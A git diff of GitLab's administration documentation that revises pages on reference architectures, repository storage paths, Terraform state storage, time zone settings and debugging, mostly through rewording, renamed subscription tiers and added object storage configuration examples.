| n1-highcpu-2 | `c5.large` | F2s v2 | | Object storage | n/a | n/a | n/a | n/a | n/a | -| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | c5.xlarge | F4s v2 | +| NFS server (optional, not recommended) | 1 | 4 vCPU, 3.6 GB memory | n1-highcpu-4 | `c5.xlarge` | F4s v2 | ```mermaid stateDiagram-v2 @@ -1211,8 +1211,9 @@ To configure Gitaly with TLS: ## Configure Sidekiq -Sidekiq requires connection to the Redis, PostgreSQL and Gitaly instance. -The following IPs will be used as an example: +Sidekiq requires connection to the [Redis](#configure-redis), +[PostgreSQL](#configure-postgresql) and [Gitaly](#configure-gitaly) instances. +[Object storage](#configure-the-object-storage) is also required to be configured. - `10.6.0.71`: Sidekiq 1 - `10.6.0.72`: Sidekiq 2 @@ -1306,6 +1307,25 @@ To configure the Sidekiq nodes, one each one: # Rails Status for prometheus gitlab_rails['monitoring_whitelist'] = ['10.6.0.81/32', '127.0.0.0/8'] gitlab_rails['prometheus_address'] = '10.6.0.81:9090' + + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" ``` 1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). @@ -1336,6 +1356,7 @@ You can also run [multiple Sidekiq processes](../operations/extra_sidekiq_proces ## Configure GitLab Rails This section describes how to configure the GitLab application (Rails) component. +[Object storage](#configure-the-object-storage) is also required to be configured. On each node perform the following: @@ -1439,6 +1460,25 @@ On each node perform the following: nginx['status']['options']['allow'] = ['10.6.0.81/32', '127.0.0.0/8'] gitlab_rails['prometheus_address'] = '10.6.0.81:9090' + ############################# + ### Object storage ### + ############################# + + # This is an example for configuring Object Storage on GCP + # Replace this config with your chosen Object Storage provider as desired + gitlab_rails['object_store']['connection'] = { + 'provider' => 'Google', + 'google_project' => '<gcp-project-name>', + 'google_json_key_location' => '<path-to-gcp-service-account-key>' + } + gitlab_rails['object_store']['objects']['artifacts']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['external_diffs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['lfs']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['uploads']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['packages']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['dependency_proxy']['bucket'] = "<gcp-bucket-name>" + gitlab_rails['object_store']['objects']['terraform_state']['bucket'] = "<gcp-bucket-name>" + ## Uncomment and edit the following options if you have set up NFS ## ## Prevent GitLab from starting if NFS data mounts are not available @@ -1620,7 +1660,7 @@ GitLab has been tested on a number of object storage providers: - [Google Cloud Storage](https://cloud.google.com/storage) - [Digital Ocean Spaces](https://www.digitalocean.com/products/spaces/) - [Oracle Cloud Infrastructure](https://docs.cloud.oracle.com/en-us/iaas/Content/Object/Tasks/s3compatibleapi.htm) -- [Openstack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) +- [OpenStack Swift](https://docs.openstack.org/swift/latest/s3_compat.html) - [Azure Blob storage](https://docs.microsoft.com/en-us/azure/storage/blobs/storage-blobs-introduction) - On-premises hardware and appliances from various storage vendors. - MinIO. We have [a guide to deploying this](https://docs.gitlab.com/charts/advanced/external-object-storage/minio.html) within our Helm Chart documentation. @@ -1649,7 +1689,7 @@ on what features you intend to use: | [Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage)| No | | [Packages](../packages/index.md#using-object-storage) (optional feature) | Yes | | [Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature) | Yes | -| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE ONLY)** | No | +| [Pseudonymizer](../pseudonymizer.md#configuration) (optional feature) **(ULTIMATE SELF)** | No | | [Autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional for improved performance) | No | | [Terraform state files](../terraform_state.md#using-object-storage) | Yes | @@ -1675,7 +1715,7 @@ work. </a> </div> -## Configure Advanced Search **(STARTER ONLY)** +## Configure Advanced Search **(PREMIUM SELF)** You can leverage Elasticsearch and [enable Advanced Search](../../integration/elasticsearch.md) for faster, more advanced code search across your entire GitLab instance. diff --git a/doc/administration/reference_architectures/index.md b/doc/administration/reference_architectures/index.md index b90b8d67b68..b149cbc6e9d 100644 --- a/doc/administration/reference_architectures/index.md +++ b/doc/administration/reference_architectures/index.md @@ -29,11 +29,12 @@ per 1,000 users: - API: 20 RPS - Web: 2 RPS -- Git: 2 RPS +- Git (Pull): 2 RPS +- Git (Push): 0.4 RPS (rounded to nearest integer) For GitLab instances with less than 2,000 users, it's recommended that you use the [default setup](#automated-backups) by -[installing GitLab](../../install/README.md) on a single machine to minimize +[installing GitLab](../../install/index.md) on a single machine to minimize maintenance and resource costs. If your organization has more than 2,000 users, the recommendation is to scale the @@ -91,7 +92,7 @@ Also, not implementing extra servers for GitLab doesn't necessarily mean that yo more downtime. Depending on your needs and experience level, single servers can have more actual perceived uptime for your users. -### Automated backups **(CORE ONLY)** +### Automated backups **(FREE SELF)** > - Level of complexity: **Low** > - Required domain knowledge: PostgreSQL, GitLab configurations, Git @@ -102,7 +103,7 @@ this can be an optimal solution if you don't have strict requirements. [Automated backups](../../raketasks/backup_restore.md#configuring-cron-to-make-daily-backups) is the least complex to setup. This provides a point-in-time recovery of a predetermined schedule. -### Traffic load balancer **(STARTER ONLY)** +### Traffic load balancer **(PREMIUM SELF)** > - Level of complexity: **Medium** > - Required domain knowledge: HAProxy, shared storage, distributed systems @@ -124,7 +125,7 @@ to the default installation: For more details on how to configure a traffic load balancer with GitLab, you can refer to any of the [available reference architectures](#available-reference-architectures) with more than 1,000 users. -### Zero downtime updates **(STARTER ONLY)** +### Zero downtime updates **(PREMIUM SELF)** > - Level of complexity: **Medium** > - Required domain knowledge: PostgreSQL, HAProxy, shared storage, distributed systems @@ -134,7 +135,7 @@ Single GitLab nodes can be updated with only a [few minutes of downtime](https:/ To avoid this, we recommend to separate GitLab into several application nodes. As long as at least one of each component is online and capable of handling the instance's usage load, your team's productivity will not be interrupted during the update. -### Automated database failover **(PREMIUM ONLY)** +### Automated database failover **(PREMIUM SELF)** > - Level of complexity: **High** > - Required domain knowledge: PgBouncer, Repmgr or Patroni, shared storage, distributed systems @@ -145,7 +146,7 @@ cluster management and failover policies. [PgBouncer in conjunction with Repmgr or Patroni](../postgresql/replication_and_failover.md) is recommended. -### Instance level replication with GitLab Geo **(PREMIUM ONLY)** +### Instance level replication with GitLab Geo **(PREMIUM SELF)** > - Level of complexity: **Very High** > - Required domain knowledge: Storage replication diff --git a/doc/administration/reference_architectures/troubleshooting.md b/doc/administration/reference_architectures/troubleshooting.md index 835231ac584..cab45a99ee4 100644 --- a/doc/administration/reference_architectures/troubleshooting.md +++ b/doc/administration/reference_architectures/troubleshooting.md @@ -298,7 +298,7 @@ Confirm the following are all true: - When any user adds or modifies a file from the repository using the GitLab UI, it immediately fails with a red `401 Unauthorized` banner. -- Creating a new project and [initializing it with a README](../../gitlab-basics/create-project.md#blank-projects) +- Creating a new project and [initializing it with a README](../../user/project/working_with_projects.md#blank-projects) successfully creates the project but doesn't create the README. - When [tailing the logs](https://docs.gitlab.com/omnibus/settings/logs.html#tail-logs-in-a-console-on-the-server) on an app node and reproducing the error, you get `401` errors when reaching the `/api/v4/internal/allowed` endpoint: diff --git a/doc/administration/repository_checks.md b/doc/administration/repository_checks.md index 6f7a72a0ef2..404a7bd77c1 100644 --- a/doc/administration/repository_checks.md +++ b/doc/administration/repository_checks.md @@ -12,37 +12,35 @@ type: reference Git has a built-in mechanism, [`git fsck`](https://git-scm.com/docs/git-fsck), to verify the integrity of all data committed to a repository. GitLab administrators can trigger such a check for a project via the project page under the -admin panel. The checks run asynchronously so it may take a few minutes -before the check result is visible on the project admin page. If the -checks failed you can see their output on in the [`repocheck.log` -file.](logs.md#repochecklog) +Admin Area. The checks run asynchronously so it may take a few minutes +before the check result is visible on the project Admin Area. If the +checks failed you can see their output on in the +[`repocheck.log` file.](logs.md#repochecklog) -NOTE: -It is OFF by default because it still causes too many false alarms. +This setting is off by default, because it can cause many false alarms. ## Periodic checks When enabled, GitLab periodically runs a repository check on all project repositories and wiki repositories in order to detect data corruption. -A project will be checked no more than once per month. If any projects -fail their repository checks all GitLab administrators will receive an email +A project is checked no more than once per month. If any projects +fail their repository checks all GitLab administrators receive an email notification of the situation. This notification is sent out once a week, by default, midnight at the start of Sunday. Repositories with known check failures can be found at `/admin/projects?last_repository_check_failed=1`. ## Disabling periodic checks -You can disable the periodic checks on the 'Settings' page of the admin -panel. +You can disable the periodic checks on the **Settings** page of the Admin Area. ## What to do if a check failed If the repository check fails for some repository you should look up the error in the [`repocheck.log` file](logs.md#repochecklog) on disk: -- `/var/log/gitlab/gitlab-rails` for Omnibus installations +- `/var/log/gitlab/gitlab-rails` for Omnibus GitLab installations - `/home/git/gitlab/log` for installations from source If the periodic repository check causes false alarms, you can clear all repository check states by -navigating to **Admin Area > Settings > Repository** +going to **Admin Area > Settings > Repository** (`/admin/application_settings/repository`) and clicking **Clear all repository checks**. diff --git a/doc/administration/repository_storage_paths.md b/doc/administration/repository_storage_paths.md index c71d1a5714c..5884a8b3283 100644 --- a/doc/administration/repository_storage_paths.md +++ b/doc/administration/repository_storage_paths.md @@ -5,69 +5,100 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Repository storage paths +# Repository storage **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4578) in GitLab 8.10. -GitLab allows you to define multiple repository storage paths (sometimes called -storage shards) to distribute the storage load between several mount points. +GitLab stores [repositories](../user/project/repository/index.md) on repository storage. Repository +storage is either: -> **Notes:** -> -> - You must have at least one storage path called `default`. -> - The paths are defined in key-value pairs. The key is an arbitrary name you -> can pick to name the file path. -> - The target directories and any of its sub-paths must not be a symlink. -> - No target directory may be a sub-directory of another; no nesting. +- A `gitaly_address`, which points to a [Gitaly node](gitaly/index.md). +- A `path`, which points directly a directory where the repository is stored. -Example: this is OK: +GitLab allows you to define multiple repository storages to distribute the storage load between +several mount points. For example: -```plaintext -default: - path: /mnt/git-storage-1 -storage2: - path: /mnt/git-storage-2 -``` +- When using Gitaly (Omnibus GitLab-style configuration): + + ```ruby + git_data_dirs({ + 'default' => { 'gitaly_address' => 'tcp://gitaly1.internal:8075' }, + 'storage1' => { 'gitaly_address' => 'tcp://gitaly2.internal:8075' }, + }) + ``` -This is not OK because it nests storage paths: +- When using direct repository storage (source install-style configuration): -```plaintext -default: - path: /mnt/git-storage-1 -storage2: - path: /mnt/git-storage-1/git-storage-2 # <- NOT OK because of nesting -``` + ```plaintext + default: + path: /mnt/git-storage-1 + storage2: + path: /mnt/git-storage-2 + ``` + +For more information on + +- Configuring Gitaly, see [Configure Gitaly](gitaly/index.md#configure-gitaly). +- Configuring direct repository access, see the following section below. + +## Configure repository storage paths + +To configure repository storage paths: + +1. Edit the necessary configuration files: + - `/etc/gitlab/gitlab.rb`, for Omnibus GitLab installations. + - `gitlab.yml`, for installations from source. +1. Add the required repository storage paths. + +For repository storage paths: + +- You must have at least one storage path called `default`. +- The paths are defined in key-value pairs. Apart from `default`, the key can be any name you choose + to name the file path. +- The target directories and any of its sub paths must not be a symlink. +- No target directory may be a sub-directory of another. That is, no nesting. For example, the + following configuration is invalid: + + ```plaintext + default: + path: /mnt/git-storage-1 + storage2: + path: /mnt/git-storage-1/git-storage-2 # <- NOT OK because of nesting + ``` + +### Configure for backups + +For [backups](../raketasks/backup_restore.md) to work correctly: -## Configure GitLab - -In order for [backups](../raketasks/backup_restore.md) to work correctly, the storage path must **not** be a -mount point and the GitLab user should have correct permissions for the parent -directory of the path. In Omnibus GitLab this is taken care of automatically, -but for source installations you should be extra careful. - -The thing is that for compatibility reasons `gitlab.yml` has a different -structure than Omnibus. In `gitlab.yml` you indicate the path for the -repositories, for example `/home/git/repositories`, while in Omnibus you -indicate `git_data_dirs`, which for the example above would be `/home/git`. -Then, Omnibus creates a `repositories` directory under that path to use with -`gitlab.yml`. - -This little detail matters because while restoring a backup, the current -contents of `/home/git/repositories` [are moved to](https://gitlab.com/gitlab-org/gitlab/blob/033e5423a2594e08a7ebcd2379bd2331f4c39032/lib/backup/repository.rb#L54-56) `/home/git/repositories.old`, -so if `/home/git/repositories` is the mount point, then `mv` would be moving -things between mount points, and bad things could happen. Ideally, -`/home/git` would be the mount point, so then things would be moving within the -same mount point. This is guaranteed with Omnibus installations (because they -don't specify the full repository path but the parent path), but not for source -installations. - -Now that you've read that big fat warning above, let's edit the configuration -files and add the full paths of the alternative repository storage paths. In -the example below, we add two more mount points that are named `nfs_1` and `nfs_2` -respectively. +- The repository storage path cannot be a mount point. +- The GitLab user must have correct permissions for the parent directory of the path. + +Omnibus GitLab takes care of these issues for you, but for source installations you should be extra +careful. + +While restoring a backup, the current contents of `/home/git/repositories` are moved to +`/home/git/repositories.old`. If `/home/git/repositories` is a mount point, then `mv` would be +moving things between mount points, and problems can occur. + +Ideally, `/home/git` is the mount point, so things remain inside the same mount point. Omnibus +GitLab installations guarantee this because they don't specify the full repository path but instead +the parent path, but source installations do not. + +### Example configuration + +In the examples below, we add two additional repository storage paths configured to two additional +mount points. + +For compatibility reasons `gitlab.yml` has a different structure than Omnibus GitLab configuration: + +- In `gitlab.yml`, you indicate the path for the repositories, for example `/home/git/repositories` +- In Omnibus GitLab configuration you indicate `git_data_dirs`, which could be `/home/git` for + example. Then Omnibus GitLab creates a `repositories` directory under that path to use with + `gitlab.yml`. NOTE: -This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab performance. See the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. +This example uses NFS. We do not recommend using EFS for storage as it may impact GitLab performance. +Read the [relevant documentation](nfs.md#avoid-using-awss-elastic-file-system-efs) for more details. **For installations from source** @@ -77,7 +108,7 @@ This example uses NFS. We do not recommend using EFS for storage as it may impac repositories: # Paths where repositories can be stored. Give the canonicalized absolute pathname. # NOTE: REPOS PATHS MUST NOT CONTAIN ANY SYMLINK!!! - storages: # You must have at least a 'default' storage path. + storages: # You must have at least a 'default' repository storage path. default: path: /home/git/repositories nfs_1: @@ -88,42 +119,39 @@ This example uses NFS. We do not recommend using EFS for storage as it may impac 1. [Restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -NOTE: -We plan to replace [`gitlab_shell: repos_path` entry](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/8-9-stable/config/gitlab.yml.example#L457) in `gitlab.yml` with `repositories: storages`. If you -are upgrading from a version prior to 8.10, make sure to add the configuration -as described in the step above. After you make the changes and confirm they are -working, you can remove the `repos_path` line. - **For Omnibus installations** -1. Edit `/etc/gitlab/gitlab.rb` by appending the rest of the paths to the - default one: +Edit `/etc/gitlab/gitlab.rb` by appending the rest of the paths to the default one: - ```ruby - git_data_dirs({ - "default" => { "path" => "/var/opt/gitlab/git-data" }, - "nfs_1" => { "path" => "/mnt/nfs1/git-data" }, - "nfs_2" => { "path" => "/mnt/nfs2/git-data" } - }) - ``` +```ruby +git_data_dirs({ + "default" => { "path" => "/var/opt/gitlab/git-data" }, + "nfs_1" => { "path" => "/mnt/nfs1/git-data" }, + "nfs_2" => { "path" => "/mnt/nfs2/git-data" } +}) +``` + +NOTE: +Omnibus stores the repositories in a `repositories` subdirectory of the `git-data` directory. - Note that Omnibus stores the repositories in a `repositories` subdirectory - of the `git-data` directory. +## Configure where new repositories are stored -## Choose where new repositories are stored +After you [configure](#configure-repository-storage-paths) multiple repository storage paths, you +can choose where new repositories are stored: -Once you set the multiple storage paths, you can choose where new repositories -are stored in the Admin Area under **Settings > Repository > Repository storage > Storage nodes for new repositories**. +1. Go to the Admin Area (**{admin}**). +1. Go to **Settings > Repository** and expand the **Repository storage** section. +1. Enter values in the **Storage nodes for new repositories** fields. +1. Select **Save changes**. -Each storage can be assigned a weight from 0-100. When a new project is created, these -weights are used to determine the storage location the repository is created on. +Each repository storage path can be assigned a weight from 0-100. When a new project is created, +these weights are used to determine the storage location the repository is created on. The higher +the weight of a given repository storage path relative to other repository storages paths, the more +often it is chosen. That is, `(storage weight) / (sum of all weights) * 100 = chance %`.  -Beginning with GitLab 8.13.4, multiple paths can be chosen. New repositories -are randomly placed on one of the selected paths. - -## Move a repository to a different repository path +## Move repositories To move a repository to a different repository path, use the [Project repository storage moves](../api/project_repository_storage_moves.md) API. Use diff --git a/doc/administration/repository_storage_types.md b/doc/administration/repository_storage_types.md index 6ec43a8ce06..a5c323be4ce 100644 --- a/doc/administration/repository_storage_types.md +++ b/doc/administration/repository_storage_types.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Repository storage types **(CORE ONLY)** +# Repository storage types **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28283) in GitLab 10.0. > - Hashed storage became the default for new installations in GitLab 12.0 @@ -38,13 +38,13 @@ been disabled. Hashed storage is the storage behavior we rolled out with 10.0. Instead of coupling project URL and the folder structure where the repository is -stored on disk, we are coupling a hash, based on the project's ID. This makes +stored on disk, we couple a hash based on the project's ID. This makes the folder structure immutable, and therefore eliminates any requirement to synchronize state from URLs to disk structure. This means that renaming a group, user, or project costs only the database transaction, and takes effect immediately. -The hash also helps to spread the repositories more evenly on the disk, so the +The hash also helps spread the repositories more evenly on the disk. The top-level directory contains fewer folders than the total number of top-level namespaces. @@ -122,7 +122,7 @@ Do not run `git prune` or `git gc` in pool repositories! This can cause data loss in "real" repositories that depend on the pool in question. -Forks of public projects are deduplicated by creating a third repository, the +Forks of public and internal projects are deduplicated by creating a third repository, the object pool, containing the objects from the source project. Using `objects/info/alternates`, the source project and forks use the object pool for shared objects. Objects are moved from the source project to the object pool @@ -136,8 +136,8 @@ when housekeeping is run on the source project. ### Hashed storage coverage migration Files stored in an S3-compatible endpoint do not have the downsides -mentioned earlier, if they are not prefixed with `#{namespace}/#{project_name}`, -which is true for CI Cache and LFS Objects. +mentioned earlier, if they are not prefixed with `#{namespace}/#{project_name}`. +This is true for CI Cache and LFS Objects. In the table below, you can find the coverage of the migration to the hashed storage. @@ -161,7 +161,8 @@ When avatar is replaced, `Upload` model is destroyed and a new one takes place w #### CI artifacts -CI Artifacts are S3 compatible since **9.4** (GitLab Premium), and available in GitLab Core since **10.6**. +CI Artifacts are S3 compatible since **9.4** (GitLab Premium), and available in GitLab Free since +**10.6**. #### LFS objects @@ -194,10 +195,10 @@ reasons, GitLab replicated the same mapping structure from the projects URLs: - Project's repository: `#{namespace}/#{project_name}.git` - Project's wiki: `#{namespace}/#{project_name}.wiki.git` -This structure made it simple to migrate from existing solutions to GitLab and -easy for Administrators to find where the repository is stored. +This structure enables you to migrate from existing solutions to GitLab, and +for Administrators to find where the repository is stored. -On the other hand this has some drawbacks: +This approach also has some drawbacks: Storage location concentrates a huge number of top-level namespaces. The impact can be reduced by the introduction of @@ -211,4 +212,4 @@ is at that same URL today. Any change in the URL needs to be reflected on disk (when groups / users or projects are renamed). This can add a lot of load in big installations, -especially if using any type of network based filesystem. +especially if using any type of network based file system. diff --git a/doc/administration/repository_storages.md b/doc/administration/repository_storages.md deleted file mode 100644 index 93d0ee3cac9..00000000000 --- a/doc/administration/repository_storages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'repository_storage_paths.md' ---- - -This document was moved to [another location](repository_storage_paths.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/restart_gitlab.md b/doc/administration/restart_gitlab.md index 4f104c6a63f..69b3ae5282f 100644 --- a/doc/administration/restart_gitlab.md +++ b/doc/administration/restart_gitlab.md @@ -140,7 +140,7 @@ your server in `/etc/init.d/gitlab`. --- -If you are using other init systems, like systemd, you can check the +If you are using other init systems, like `systemd`, you can check the [GitLab Recipes](https://gitlab.com/gitlab-org/gitlab-recipes/tree/master/init) repository for some unofficial services. These are **not** officially supported so use them at your own risk. diff --git a/doc/administration/scaling/index.md b/doc/administration/scaling/index.md deleted file mode 100644 index 4f934646ed6..00000000000 --- a/doc/administration/scaling/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: ../reference_architectures/index.md ---- - -This document was moved to [another location](../reference_architectures/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/administration/server_hooks.md b/doc/administration/server_hooks.md index 645d3bc4e9f..93b899d5146 100644 --- a/doc/administration/server_hooks.md +++ b/doc/administration/server_hooks.md @@ -6,7 +6,7 @@ type: reference, howto disqus_identifier: 'https://docs.gitlab.com/ee/administration/custom_hooks.html' --- -# Server hooks **(CORE ONLY)** +# Server hooks **(FREE SELF)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196051) in GitLab 12.8 replacing Custom Hooks. diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md index 0bf0eb3b1ed..61d0b1ec50a 100644 --- a/doc/administration/snippets/index.md +++ b/doc/administration/snippets/index.md @@ -5,7 +5,7 @@ group: Editor info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" --- -# Snippets settings **(CORE ONLY)** +# Snippets settings **(FREE SELF)** Adjust the snippets' settings of your GitLab instance. @@ -18,7 +18,7 @@ abuse of the feature. The default value is **52428800 Bytes** (50 MB). ### How does it work? -The content size limit will be applied when a snippet is created or updated. +The content size limit is applied when a snippet is created or updated. This limit doesn't affect existing snippets until they're updated and their content changes. @@ -60,8 +60,8 @@ To retrieve the current value, start the Rails console and run: #### Through the API -The process to set the snippets size limit through the Application Settings API is -exactly the same as you would do to [update any other setting](../../api/settings.md#change-application-settings). +To set the snippets size limit through the Application Settings API (similar to +[updating any other setting](../../api/settings.md#change-application-settings)), use this command: ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/application/settings?snippet_size_limit=52428800" diff --git a/doc/administration/static_objects_external_storage.md b/doc/administration/static_objects_external_storage.md index b10af12de67..0f3dab743e9 100644 --- a/doc/administration/static_objects_external_storage.md +++ b/doc/administration/static_objects_external_storage.md @@ -9,8 +9,8 @@ type: reference > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/31025) in GitLab 12.3. -GitLab can be configured to serve repository static objects (for example, archives or raw blobs) from an external -storage, such as a Content Delivery Network (CDN). +You can configure GitLab to serve repository static objects, like archives or raw blobs, +from an external storage, such as a Content Delivery Network (CDN). ## Configuring @@ -19,19 +19,22 @@ To configure external storage for static objects: 1. Navigate to **Admin Area > Settings > Repository**. 1. Expand the **Repository static objects** section. 1. Enter the base URL and an arbitrary token. When you [set up external storage](#set-up-external-storage), -you'll use a script that uses these values as `ORIGIN_HOSTNAME` and `STORAGE_TOKEN`. + use a script that sets these values as `ORIGIN_HOSTNAME` and `STORAGE_TOKEN`. The token is required to distinguish requests coming from the external storage, so users don't -circumvent the external storage and go for the application directly. The token is expected to be -set in the `X-Gitlab-External-Storage-Token` header in requests originating from the external -storage. +circumvent the external storage and access the application directly. GitLab expects +this token to be set in the `X-Gitlab-External-Storage-Token` header in requests +originating from the external storage. ## Serving private static objects -GitLab will append a user-specific token for static object URLs that belong to private projects, -so an external storage can be authenticated on behalf of the user. When processing requests originating -from the external storage, GitLab will look for the token in the `token` query parameter or in -the `X-Gitlab-Static-Object-Token` header to check the user's ability to access the requested object. +GitLab appends a user-specific token for static object URLs belonging to private projects, +so an external storage can be authenticated on the user's behalf. When processing requests originating +from the external storage, GitLab checks the following places to confirm the user may +access the requested object: + +- The `token` query parameter. +- The `X-Gitlab-Static-Object-Token` header. ## Requests flow example @@ -66,8 +69,8 @@ other CDNs or Function as a Service (FaaS) systems should work using the same pr 1. In the following script, set the following values for the first two constants: - `ORIGIN_HOSTNAME`: the hostname of your GitLab installation. - - `STORAGE_TOKEN`: any arbitrary secure token (e.g. you can get one by running - `pwgen -cn1 64` on a UNIX machine). Save this token for the admin panel, as + - `STORAGE_TOKEN`: any arbitrary secure token. You can get a token by running + `pwgen -cn1 64` on a UNIX machine. Save this token for the Admin Area, as described in the [configuring](#configuring) section. ```javascript diff --git a/doc/administration/terraform_state.md b/doc/administration/terraform_state.md index be5647aa133..6e5d6b274b6 100644 --- a/doc/administration/terraform_state.md +++ b/doc/administration/terraform_state.md @@ -4,7 +4,7 @@ group: Configure info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Terraform state administration (alpha) +# Terraform state administration (alpha) **(FREE)** > [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2673) in GitLab 12.10. @@ -18,6 +18,8 @@ The storage location of these files defaults to: These locations can be configured using the options described below. +Use [external object storage](https://docs.gitlab.com/charts/advanced/external-object-storage/#lfs-artifacts-uploads-packages-external-diffs-pseudonymizer-terraform-state-dependency-proxy) configuration for [GitLab Helm chart](https://docs.gitlab.com/charts/) installations. + ## Using local storage The default configuration uses local storage. To change the location where @@ -47,7 +49,7 @@ Terraform state files are stored locally, follow the steps below. 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. -## Using object storage **(CORE ONLY)** +## Using object storage **(FREE SELF)** Instead of storing Terraform state files on disk, we recommend the use of [one of the supported object storage options](object_storage.md#options). This configuration relies on valid credentials to @@ -100,6 +102,11 @@ See [the available connection settings for different providers](object_storage.m ``` 1. Save the file and [reconfigure GitLab](restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Migrate any existing local states to the object storage (GitLab 13.9 and later): + + ```shell + gitlab-rake gitlab:terraform_states:migrate + ``` **In installations from source:** @@ -120,3 +127,8 @@ See [the available connection settings for different providers](object_storage.m ``` 1. Save the file and [restart GitLab](restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Migrate any existing local states to the object storage (GitLab 13.9 and later): + + ```shell + sudo -u git -H bundle exec rake gitlab:terraform_states:migrate RAILS_ENV=production + ``` diff --git a/doc/administration/timezone.md b/doc/administration/timezone.md index 798e7f5050c..6f460ed0ea8 100644 --- a/doc/administration/timezone.md +++ b/doc/administration/timezone.md @@ -41,3 +41,18 @@ After adding the configuration parameter, reconfigure and restart your GitLab in gitlab-ctl reconfigure gitlab-ctl restart ``` + +## Changing time zone per user + +To allow users to change the time zone in their profile, the feature flag `user_time_settings` should be enabled: + +1. [Start a Rails console session](operations/rails_console.md). +1. Enable the feature flag: + + ```ruby + Feature.enable(:user_time_settings) + ``` + +1. You should now be able to see the timezone dropdown in the users' **Settings > Profile** page. + +  diff --git a/doc/administration/troubleshooting/debug.md b/doc/administration/troubleshooting/debug.md index 8c8fa25aa5e..a6073e34d58 100644 --- a/doc/administration/troubleshooting/debug.md +++ b/doc/administration/troubleshooting/debug.md @@ -126,7 +126,7 @@ an SMTP server, but you're not seeing mail delivered. Here's how to check the se For more advanced issues, `gdb` is a must-have tool for debugging issues. -### The GNU Project Debugger (gdb) +### The GNU Project Debugger (GDB) To install on Ubuntu/Debian: @@ -140,9 +140,13 @@ On CentOS: sudo yum install gdb ``` +<!-- vale gitlab.Spelling = NO --> + ### rbtrace -GitLab 11.2 ships with [rbtrace](https://github.com/tmm1/rbtrace), which +<!-- vale gitlab.Spelling = YES --> + +GitLab 11.2 ships with [`rbtrace`](https://github.com/tmm1/rbtrace), which allows you to trace Ruby code, view all running threads, take memory dumps, and more. However, this is not enabled by default. To enable it, define the `ENABLE_RBTRACE` variable to the environment. For example, in Omnibus: @@ -175,7 +179,7 @@ downtime. Otherwise skip to the next section. 1. Load the problematic URL 1. Run `sudo gdb -p <PID>` to attach to the Unicorn process. -1. In the gdb window, type: +1. In the GDB window, type: ```plaintext call (void) rb_backtrace() @@ -210,7 +214,7 @@ downtime. Otherwise skip to the next section. ``` Note that if the Unicorn process terminates before you are able to run these -commands, gdb will report an error. To buy more time, you can always raise the +commands, GDB will report an error. To buy more time, you can always raise the Unicorn timeout. For omnibus users, you can edit `/etc/gitlab/gitlab.rb` and increase it from 60 seconds to 300: @@ -231,7 +235,7 @@ separate Rails process to debug the issue: 1. Log in to your GitLab account. 1. Copy the URL that is causing problems (e.g. `https://gitlab.com/ABC`). -1. Create a Personal Access Token for your user (Profile Settings -> Access Tokens). +1. Create a Personal Access Token for your user (User Settings -> Access Tokens). 1. Bring up the [GitLab Rails console.](../operations/rails_console.md#starting-a-rails-console-session) 1. At the Rails console, run: @@ -246,7 +250,7 @@ separate Rails process to debug the issue: ``` 1. In a new window, run `top`. It should show this Ruby process using 100% CPU. Write down the PID. -1. Follow step 2 from the previous section on 